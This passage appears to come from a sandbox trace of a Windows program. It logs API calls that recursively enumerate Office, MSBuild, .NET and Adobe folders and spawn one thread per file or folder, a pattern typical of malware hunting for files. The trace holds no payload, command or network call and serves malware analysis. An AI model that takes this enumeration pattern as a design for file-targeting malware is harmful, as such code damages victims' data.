ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.114] wcscmp (_String1="..", _String2=".") returned 1 [0047.114] wcscmp (_String1="..", _String2="..") returned 0 [0047.114] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0047.114] wcscmp (_String1="BHOINTL.DLL", _String2=".") returned 1 [0047.114] wcscmp (_String1="BHOINTL.DLL", _String2="..") returned 1 [0047.114] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0047.114] wcscmp (_String1="DL_RES.DLL", _String2=".") returned 1 [0047.114] wcscmp (_String1="DL_RES.DLL", _String2="..") returned 1 [0047.114] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb59f00, ftCreationTime.dwHighDateTime=0x1cb7019, ftLastAccessTime.dwLowDateTime=0xba6a7220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfeb59f00, ftLastWriteTime.dwHighDateTime=0x1cb7019, nFileSizeHigh=0x0, nFileSizeLow=0x864b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0047.114] wcscmp (_String1="GrooveIntlResource.dll", _String2=".") returned 1 [0047.114] wcscmp (_String1="GrooveIntlResource.dll", _String2="..") returned 1 [0047.114] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff6a5200, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff6a5200, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0047.114] wcscmp (_String1="MAPISHELLR.DLL", _String2=".") returned 1 [0047.114] wcscmp (_String1="MAPISHELLR.DLL", _String2="..") returned 1 [0047.114] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x19f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCLTINT.DLL", cAlternateFileName="")) returned 1 [0047.114] wcscmp (_String1="OCLTINT.DLL", _String2=".") returned 1 [0047.114] wcscmp (_String1="OCLTINT.DLL", _String2="..") returned 1 [0047.114] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83bac00, ftCreationTime.dwHighDateTime=0x1c650be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83bac00, ftLastWriteTime.dwHighDateTime=0x1c650be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSHLP10.CHM", cAlternateFileName="")) returned 1 [0047.114] wcscmp (_String1="OWSHLP10.CHM", _String2=".") returned 1 [0047.114] wcscmp (_String1="OWSHLP10.CHM", _String2="..") returned 1 [0047.114] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416a50 [0047.114] wcscpy (in: _Dest=0x416a50, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0047.114] wcscat (in: _Dest=0x416a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0047.114] wcscat (in: _Dest=0x416a50, _Source="OWSHLP10.CHM" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" [0048.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0048.704] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x37b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUCRES.DLL", cAlternateFileName="")) returned 1 [0048.704] wcscmp (_String1="STSUCRES.DLL", _String2=".") returned 1 [0048.704] wcscmp (_String1="STSUCRES.DLL", _String2="..") returned 1 [0048.704] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.INTL.DLL", cAlternateFileName="STSUPL~1.DLL")) returned 1 [0048.704] wcscmp (_String1="STSUPLD.INTL.DLL", _String2=".") returned 1 [0048.704] wcscmp (_String1="STSUPLD.INTL.DLL", _String2="..") returned 1 [0048.704] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f1e580, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x5f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVBRES.DLL", cAlternateFileName="")) returned 1 [0048.705] wcscmp (_String1="UMLVBRES.DLL", _String2=".") returned 1 [0048.705] wcscmp (_String1="UMLVBRES.DLL", _String2="..") returned 1 [0048.705] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6980, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60R.DLL", cAlternateFileName="")) returned 1 [0048.705] wcscmp (_String1="UMLVC60R.DLL", _String2=".") returned 1 [0048.705] wcscmp (_String1="UMLVC60R.DLL", _String2="..") returned 1 [0048.705] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVSUI.DLL", cAlternateFileName="")) returned 1 [0048.705] wcscmp (_String1="UMLVSUI.DLL", _String2=".") returned 1 [0048.705] wcscmp (_String1="UMLVSUI.DLL", _String2="..") returned 1 [0048.705] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f047000, ftCreationTime.dwHighDateTime=0x1c3143b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f047000, ftLastWriteTime.dwHighDateTime=0x1c3143b, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAOWS10.CHM", cAlternateFileName="")) returned 1 [0048.705] wcscmp (_String1="VBAOWS10.CHM", _String2=".") returned 1 [0048.705] wcscmp (_String1="VBAOWS10.CHM", _String2="..") returned 1 [0048.705] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416d20 [0048.705] wcscpy (in: _Dest=0x416d20, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0048.705] wcscat (in: _Dest=0x416d20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0048.705] wcscat (in: _Dest=0x416d20, _Source="VBAOWS10.CHM" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" [0048.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0048.707] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0048.707] wcscmp (_String1="VVIEWRES.DLL", _String2=".") returned 1 [0048.707] wcscmp (_String1="VVIEWRES.DLL", _String2="..") returned 1 [0048.707] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 0 [0048.707] FindClose (in: hFindFile=0x440a20 | out: hFindFile=0x440a20) returned 1 [0048.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b240) returned 1 [0048.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419220) returned 1 [0048.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418b18) returned 1 Thread: id = 244 os_tid = 0xa1c [0046.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x449d80 [0046.801] wcscpy (in: _Dest=0x449d80, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0046.801] wcscat (in: _Dest=0x449d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0046.801] wcscat (in: _Dest=0x449d80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*" [0046.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425df0 [0046.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440620 [0046.802] wcscmp (_String1=".", _String2=".") returned 0 [0046.802] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.802] wcscmp (_String1="..", _String2=".") returned 1 [0046.802] wcscmp (_String1="..", _String2="..") returned 0 [0046.802] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0046.802] wcscmp (_String1="v3.0", _String2=".") returned 1 [0046.802] wcscmp (_String1="v3.0", _String2="..") returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x424608 [0046.802] wcscpy (in: _Dest=0x424608, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0046.802] wcscat (in: _Dest=0x424608, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0046.802] wcscat (in: _Dest=0x424608, _Source="v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0047.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x424608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0047.899] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0047.899] wcscmp (_String1="v3.5", _String2=".") returned 1 [0047.899] wcscmp (_String1="v3.5", _String2="..") returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x44cfc8 [0047.899] wcscpy (in: _Dest=0x44cfc8, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0047.899] wcscat (in: _Dest=0x44cfc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0047.899] wcscat (in: _Dest=0x44cfc8, _Source="v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0047.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44cfc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0047.900] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0047.900] FindClose (in: hFindFile=0x440620 | out: hFindFile=0x440620) returned 1 [0047.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425df0) returned 1 [0047.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0047.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446480) returned 1 Thread: id = 245 os_tid = 0x8f8 [0046.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4166f0 [0046.805] wcscpy (in: _Dest=0x4166f0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0046.805] wcscat (in: _Dest=0x4166f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\" [0046.805] wcscat (in: _Dest=0x4166f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*" [0046.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425920 [0046.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440aa0 [0047.119] wcscmp (_String1=".", _String2=".") returned 0 [0047.119] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.119] wcscmp (_String1="..", _String2=".") returned 1 [0047.119] wcscmp (_String1="..", _String2="..") returned 0 [0047.119] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0047.119] wcscmp (_String1="v3.0", _String2=".") returned 1 [0047.119] wcscmp (_String1="v3.0", _String2="..") returned 1 [0047.119] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x4246a8 [0047.119] wcscpy (in: _Dest=0x4246a8, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0047.119] wcscat (in: _Dest=0x4246a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\" [0047.119] wcscat (in: _Dest=0x4246a8, _Source="v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0048.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4246a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0048.711] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0048.711] wcscmp (_String1="v3.5", _String2=".") returned 1 [0048.711] wcscmp (_String1="v3.5", _String2="..") returned 1 [0048.711] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x44d538 [0048.711] wcscpy (in: _Dest=0x44d538, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0048.711] wcscat (in: _Dest=0x44d538, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\" [0048.711] wcscat (in: _Dest=0x44d538, _Source="v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0048.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44d538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0048.712] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0048.712] FindClose (in: hFindFile=0x440aa0 | out: hFindFile=0x440aa0) returned 1 [0048.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425920) returned 1 [0048.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4166f0) returned 1 [0048.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446770) returned 1 Thread: id = 246 os_tid = 0x930 [0046.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445180 [0046.806] wcscpy (in: _Dest=0x445180, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0" [0046.806] wcscat (in: _Dest=0x445180, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\" [0046.806] wcscat (in: _Dest=0x445180, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*" [0046.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b4a8 [0046.806] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 